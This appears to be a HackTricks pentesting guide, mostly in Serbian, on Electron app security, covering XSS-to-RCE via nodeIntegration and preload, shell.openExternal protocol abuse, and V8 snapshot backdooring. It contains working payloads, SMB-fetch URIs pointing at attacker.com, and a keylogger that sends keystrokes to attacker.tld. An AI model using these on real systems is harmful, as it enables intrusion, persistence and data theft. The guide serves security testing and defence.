585 lines
30 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Electron Desktop aplikacije
{{#include ../../../banners/hacktricks-training.md}}
## Uvod
Electron kombinuje lokalni backend (sa **NodeJS**) i frontend (**Chromium**), iako mu nedostaju neki sigurnosni mehanizmi modernih pregledača.
Obično možete pronaći kod Electron aplikacije unutar `.asar` fajla; da biste dobili kod, potrebno je da ga izdvojite:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
U izvornom kodu Electron aplikacije, u datoteci `packet.json`, može se naći naveden fajl `main.js` u kojem su podešene sigurnosne konfiguracije.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron ima 2 tipa procesa:
- Glavni proces (ima potpuni pristup NodeJS)
- Renderer proces (trebalo bi da ima ograničen pristup NodeJS iz bezbednosnih razloga)
![](<../../../images/image (182).png>)
**Renderer proces** će biti prozor pregledača koji učitava fajl:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Podešavanja **renderer procesa** mogu se **konfigurisati** u **main procesu** unutar fajla main.js. Neka podešavanja će **sprečiti Electron aplikaciju da dobije RCE** ili druge ranjivosti ako su **podešavanja ispravno postavljena**.
Electron aplikacija **može pristupiti uređaju** preko Node apis, iako se to može konfigurisati da se spreči:
- **`nodeIntegration`** - je podrazumevano `off`. Ako je `on`, omogućava pristup node funkcijama iz renderer procesa.
- **`contextIsolation`** - je podrazumevano `on`. Ako je `off`, main i renderer procesi nisu izolovani.
- **`preload`** - podrazumevano prazan.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - podrazumevano je `off`. Ograničava akcije koje NodeJS može izvršavati.
- Node Integration in Workers
- **`nodeIntegrationInSubframes`**- je podrazumevano `off`.
- Ako je **`nodeIntegration`** omogućen, to bi dozvolilo korišćenje **Node.js APIs** u web stranicama koje su **učitane u iframes** unutar Electron aplikacije.
- Ako je **`nodeIntegration`** onemogućen, tada će se preloads učitati u iframe
Example of configuration:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
Neki **RCE payloads** iz [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Snimanje saobraćaja
Izmenite konfiguraciju start-main i dodajte upotrebu proxy-ja, na primer:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
Ako možete lokalno pokrenuti Electron App, moguće je da biste mogli naterati da izvrši proizvoljan javascript kod. Pogledajte kako u:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
Ako je **nodeIntegration** postavljen na **on**, JavaScript na web stranici može lako koristiti Node.js funkcije samo pozivanjem `require()`. Na primer, način da se pokrene aplikacija calc na Windows je:
```html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
```
<figure><img src="../../../images/image (1110).png" alt=""><figcaption></figcaption></figure>
## RCE: preload
Skript označen u ovom podešavanju se **učitava pre drugih skripti u rendereru**, tako da ima **neograničen pristup Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Dakle, skripta može da izveze node-features na stranice:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
```
> [!NOTE] > **Ako je `contextIsolation` uključen, ovo neće raditi**
## RCE: XSS + contextIsolation
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
Ako konteksti nisu izolovani, napadač može:
1. Execute **arbitrary JavaScript in renderer** (XSS ili navigaciju ka eksternim sajtovima)
2. **Overwrite the built-in method** koja se koristi u preload ili Electron internal code da bi preuzeo kontrolu nad funkcijom
3. **Trigger** upotrebu **overwritten function**
4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Zaobilaženje click event-a
Ako postoje ograničenja primenjena pri kliku na link, možda ćete moći da ih zaobiđete **srednjim klikom** umesto regularnog levog klika
```javascript
window.addEventListener('click', (e) => {
```
## RCE preko shell.openExternal
Za više informacija o ovim primerima pogledajte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Prilikom deploy-a Electron desktop aplikacije, pravilna podešavanja za `nodeIntegration` i `contextIsolation` su ključna. Uspostavljeno je da **client-side remote code execution (RCE)** koja cilja preload scripts ili Electron native code iz main process-a bude efikasno sprečena kada su ova podešavanja uključena.
Kada korisnik interaguje sa linkovima ili otvara nova prozore, specifični event listeners se aktiviraju, koji su ključni za bezbednost i funkcionalnost aplikacije:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Ovi slušači su **nadjačani od strane desktop aplikacije** da implementiraju sopstvenu **poslovnu logiku**. Aplikacija procenjuje da li link na koji se navigira treba biti otvoren interno ili u eksternom web pregledaču. Odluka se obično donosi kroz funkciju, `openInternally`. Ako ta funkcija vrati `false`, to pokazuje da link treba biti otvoren eksterno, koristeći funkciju `shell.openExternal`.
**Here is a simplified pseudocode:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), which includes Windows protocol examples capable of exploiting this vulnerability.
Na macOS-u, funkcija `openExternal` može biti iskorišćena za izvršavanje proizvoljnih komandi, na primer: `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Primeri Windows protocol exploits uključuju:**
```html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Ova ranjivost može se naći u **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
**webviewTag** je **zastarela funkcija** koja omogućava korišćenje **NodeJS** u **renderer process**-u, što bi trebalo onemogućiti jer dozvoljava učitavanje skripte unutar preload konteksta kao:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Dakle, napadač koji uspe da učita proizvoljnu stranicu mogao bi koristiti taj tag da **učita proizvoljan preload script**.
Ovu preload skriptu su potom zloupotrebili da pozove **ranjivu IPC uslugu (`skype-new-window`)** koja je pozivala pozivala **`shell.openExternal`** da dobije RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## Čitanje unutrašnjih fajlova: XSS + `contextIsolation`
**Onemogućavanje `contextIsolation` omogućava korišćenje `<webview>` tagova**, slično `<iframe>`, za čitanje i exfiltrating lokalnih fajlova. Primer u nastavku pokazuje kako iskoristiti ovu ranjivost za čitanje sadržaja unutrašnjih fajlova:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Dalje, podeljen je još jedan metod za **čitanje unutrašnjeg fajla**, koji ističe kritičnu ranjivost za čitanje lokalnih fajlova u Electron desktop app. Ovo uključuje injektovanje skripte da iskoristi aplikaciju i exfiltrate podatke:
```html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
```
## **RCE: XSS + Stari chromium**
Ako je **chromium** koji aplikacija koristi **star** i postoje **poznate** **ranjivosti** na njemu, možda je moguće da **iskoristite ih i dobijete RCE kroz XSS**.\
You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing putem obilaženja Internal URL regex-a**
Pretpostavimo da ste našli XSS, ali **ne možete pokrenuti RCE ili ukrasti interne fajlove** — možete pokušati da ga iskoristite za **ukrasti credentials putem phishinga**.
Prvo treba da znate šta se dešava kada pokušate da otvorite novi URL, proverom JS koda u front-endu:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Poziv ka **`openInternally`** odlučiće da li će se **link** **otvoriti** u **desktop prozoru** jer pripada platformi, **ili** da li će biti otvoren u **browseru kao resurs treće strane**.
U slučaju da je **regex** koji funkcija koristi **ranjiv na bypass-e** (na primer zbog **ne-escape-ovanja tačaka u subdomenima**) napadač bi mogao iskoristiti XSS da **otvori novi prozor koji** će se nalaziti u napadačevoj infrastrukturi i **tražiti kredencijale** od korisnika:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## `file://` Protokol
Kao što je pomenuto u [dokumentaciji](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) stranice koje se pokreću na **`file://`** imaju jedinstven pristup svim fajlovima na vašem računaru, što znači da se zbog **XSS problema može učitati proizvoljan fajl** sa korisnikovog računara. Korišćenje **custom protocol** sprečava ovakve probleme jer možete ograničiti protokol da služi samo određeni skup fajlova.
## Remote modul
Electron Remote modul omogućava **renderer procesima da pristupe API-jevima main procesa**, olakšavajući komunikaciju unutar Electron aplikacije. Međutim, omogućavanje ovog modula uvodi značajne sigurnosne rizike. Ono povećava attack surface aplikacije, čineći je podložnijom ranjivostima kao što su cross-site scripting (XSS) napadi.
> [!TIP]
> Iako **remote** modul izlaže neke API-je iz main ka renderer procesima, nije jednostavno dobiti RCE samo zloupotrebom komponenti. Međutim, komponente mogu otkriti osetljive informacije.
> [!WARNING]
> Mnoge aplikacije koje i dalje koriste remote modul to rade na način koji zahteva da bude omogućeno **NodeIntegration** u renderer procesu, što predstavlja **ogroman sigurnosni rizik**.
Od Electron 14 `remote` modul može biti omogućen na nekoliko načina; zbog sigurnosnih i performansnih razloga, **preporučuje se da se ne koristi**.
Da biste ga omogućili, prvo je potrebno **omogućiti ga u main procesu**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
```
Zatim, renderer process može da importuje objekte iz modula na sledeći način:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** ukazuje na neke zanimljive **funkcije** koje izlaže objekat **`app`** iz remote modula:
- **`app.relaunch([options])`**
- **Restartuje** aplikaciju tako što **zatvara** trenutnu instancu i **pokreće** novu. Korisno za **ažuriranja aplikacije** ili značajne **promene stanja**.
- **`app.setAppLogsPath([path])`**
- **Definiše** ili **kreira** direktorijum za čuvanje **logova aplikacije**. Logovi se mogu **preuzeti** ili **izmeniti** koristeći **`app.getPath()`** ili **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Registruje** trenutni izvršni fajl kao **podrazumevani program za rukovanje** određenim **protokolom**. Možete navesti **prilagođenu putanju** i **argumente** po potrebi.
- **`app.setUserTasks(tasks)`**
- **Dodaje** zadatke u **Tasks category** u **Jump List** (na Windows). Svaki zadatak može kontrolisati kako se aplikacija **pokreće** ili koji se **argumenti** prosleđuju.
- **`app.importCertificate(options, callback)`**
- **Uvozi** **PKCS#12 certificate** u sistemsko **skladište sertifikata** (samo Linux). **Callback** se može koristiti za obradu rezultata.
- **`app.moveToApplicationsFolder([options])`**
- **Premešta** aplikaciju u **Applications folder** (na macOS). Pomaže da se obezbedi **standardna instalacija** za Mac korisnike.
- **`app.setJumpList(categories)`**
- **Postavlja** ili **uklanja** prilagođeni **Jump List** na **Windows**. Možete navesti **kategorije** da organizujete kako se zadaci prikazuju korisniku.
- **`app.setLoginItemSettings(settings)`**
- **Konfiguriše** koji **izvršni fajlovi** se pokreću pri **logovanju** zajedno sa njihovim **opcijama** (samo macOS i Windows).
Example:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences modul
To je **primarni API** za pristup sistemskim podešavanjima i **emitovanje sistemskih događaja** u Electronu. Metode kao što su **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, i **setUserDefault** sve su **deo** ovog modula.
**Primer upotrebe:**
```javascript
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Sluša** nativne macOS notifikacije koristeći NSDistributedNotificationCenter.
* Pre **macOS Catalina**, moglo se presretati **sve** distribuirane notifikacije prosleđivanjem **nil** u CFNotificationCenterAddObserver.
* Posle **Catalina / Big Sur**, sandboxovane aplikacije i dalje mogu da se **pretplate** na **mnoge događaje** (npr. **zaključavanje/otključavanje ekrana**, **montiranje volumena**, **mrežna aktivnost**, itd.) registracijom notifikacija **po imenu**.
### **getUserDefault / setUserDefault**
* **Komunicira** sa **NSUserDefaults**, koji čuva **aplikacione** ili **globalne** preference na macOS.
* **getUserDefault** može **dohvatiti** osetljive informacije, kao što su **lokacije nedavno otvorenih fajlova** ili **geografska lokacija korisnika**.
* **setUserDefault** može **izmeniti** ove preference, potencijalno utičući na **konfiguraciju** aplikacije.
* U **starijim verzijama Electron-a** (pre v8.3.0), bio je dostupan samo **standardni skup** NSUserDefaults.
## Shell.showItemInFolder
Ova funkcija prikazuje dati fajl u upravitelju fajlova, što **može automatski izvršiti fajl**.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron aplikacije treba da imaju **Content Security Policy (CSP)** da **spreče XSS napade**. **CSP** je **sigurnosni standard** koji pomaže da se **spreči** **izvršavanje** **nepouzdanog koda** u browseru.
Obično se **konfiguriše** u **`main.js`** fajlu ili u **`index.html`** šablonu sa CSP unutar **meta taga**.
For more information check:
{{#ref}}
pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
Ovaj stvarni lanac je pogodio Visual Studio Code 1.63 (CVE-2021-43908) i pokazuje kako jedan markdown-driven XSS u webview-u može eskalirati u potpuni RCE kada su CSP, postMessage i scheme handleri pogrešno konfigurirani. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Pregled lanca napada
- Prvi XSS preko webview CSP: Generisana CSP je uključivala `style-src 'self' 'unsafe-inline'`, dozvoljavajući inline/style-baziranu injekciju u `vscode-webview://` kontekstu. Payload je beacon-ovao na `/stealID` da eksfiltruje extensionId ciljanog webview-a.
- Konstrukcija URL-a ciljanog webview-a: korišćenje leaked ID-a za izgradnju `vscode-webview://<extensionId>/.../<publicUrl>`.
- Drugi XSS preko poverenja u postMessage: Spoljni webview je verovao `window.postMessage` bez strogih provera origin/type i učitao napadačev HTML sa `allowScripts: true`.
- Učitavanje lokalnog fajla kroz prepisivanje scheme/putanje: Payload je prepisao `file:///...` u `vscode-file://vscode-app/...` i zamenio `exploit.md` sa `RCE.html`, zloupotrebljavajući slabu validaciju putanje da bi učitao privilegovani lokalni resurs.
- RCE u Node-om omogućenom kontekstu: Učitani HTML se izvršio sa dostupnim Node API-jima, što je omogućilo izvršavanje OS komandi.
Primer RCE primitiva u finalnom kontekstu
```js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
Povezano štivo o problemima poverenja u postMessage:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
{{#endref}}
## **Alati**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) je alat za identifikovanje pogrešnih konfiguracija i bezbednosnih anti-uzoraka u Electron-based applications.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) je open source VS Code plugin za Electron applications koji koristi Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) za proveru ranjivih biblioteka trećih strana
- [**Electro.ng**](https://electro.ng/): Potrebno ga je kupiti
## Labovi
Na [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) možete pronaći lab za exploit vulnerable Electron apps.
Neke komande koje će vam pomoći sa labom:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
```
## Lokalno backdooring putem V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
Electron i aplikacije zasnovane na Chromium-u deserializuju prebuilt V8 heap snapshot pri pokretanju (v8_context_snapshot.bin, i opciono browser_v8_context_snapshot.bin) da inicijalizuju svaki V8 isolate (main, preload, renderer). Istorijski, Electrons integrity fuses nisu tretirale ove snapshot-e kao izvršni sadržaj, pa su izbegle i fuse-based integrity enforcement i OS code-signing provere. Kao rezultat, zamena snapshot-a u instalaciji koja je upisiva od strane korisnika omogućavala stealthy, persistent code execution unutar aplikacije bez menjanja potpisanih binarnih fajlova ili ASAR.
Ključne tačke
- Propust u proveri integriteta: EnableEmbeddedAsarIntegrityValidation i OnlyLoadAppFromAsar vrše validaciju app JavaScript-a unutar ASAR, ali nisu pokrivali V8 heap snapshots (CVE-2025-55305). Chromium isto tako ne vrši integrity-check snapshot-a.
- Uslovi za napad: Lokalni upis fajla u direktorijum instalacije aplikacije. Ovo je uobičajeno na sistemima gde su Electron apps ili Chromium browsers instalirani u putanje koje su upisive od strane korisnika (npr. %AppData%\Local na Windows; /Applications uz određene napomene na macOS).
- Efekat: Pouzdano izvršavanje attacker JavaScript-a u bilo kom isolate-u prepisivanjem često korišćenog builtin-a (a “gadget”), omogućavajući persistence i izbegavanje code-signing verifikacije.
- Pogođena površina: Electron apps (čak i sa uključenim fuses) i Chromium-based browsers koji učitavaju snapshots iz lokacija upisivih od strane korisnika.
Generisanje malicioznog snapshot-a bez build-ovanja Chromium-a
- Koristite prebuilt electron/mksnapshot da kompajlirate payload JS u snapshot i prepišete aplikacioni v8_context_snapshot.bin.
Primer minimalnog payload-a (potvrdite izvršavanje prisilnim crash-om)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the applications v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (pokretanje različitog koda u main i renderer)
- Detekcija main procesa: Globalne promenljive specifične za Node, poput process.pid, process.binding(), ili process.dlopen, prisutne su u main process isolate.
- Detekcija Browser/renderer: Globalne promenljive specifične za browser, kao što je alert, dostupne su kada se izvršava u kontekstu dokumenta.
Primer gadgeta koji jednom ispituje Node mogućnosti main procesa
```js
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
```
PoC krađe podataka u Renderer/browser-context (npr. Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
```
Operator workflow
1) Napišite payload.js koji clobbers a common builtin (e.g., Array.isArray) i opciono pravi grane po isolate.
2) Build the snapshot without Chromium sources:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Overwrite the target applications snapshot file(s):
- v8_context_snapshot.bin (always used)
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
4) Launch the application; the gadget executes whenever the chosen builtin is used.
Notes and considerations
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electrons fuses or Chromium integrity controls.
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
Detection and mitigations
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
## **References**
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
{{#include ../../../banners/hacktricks-training.md}}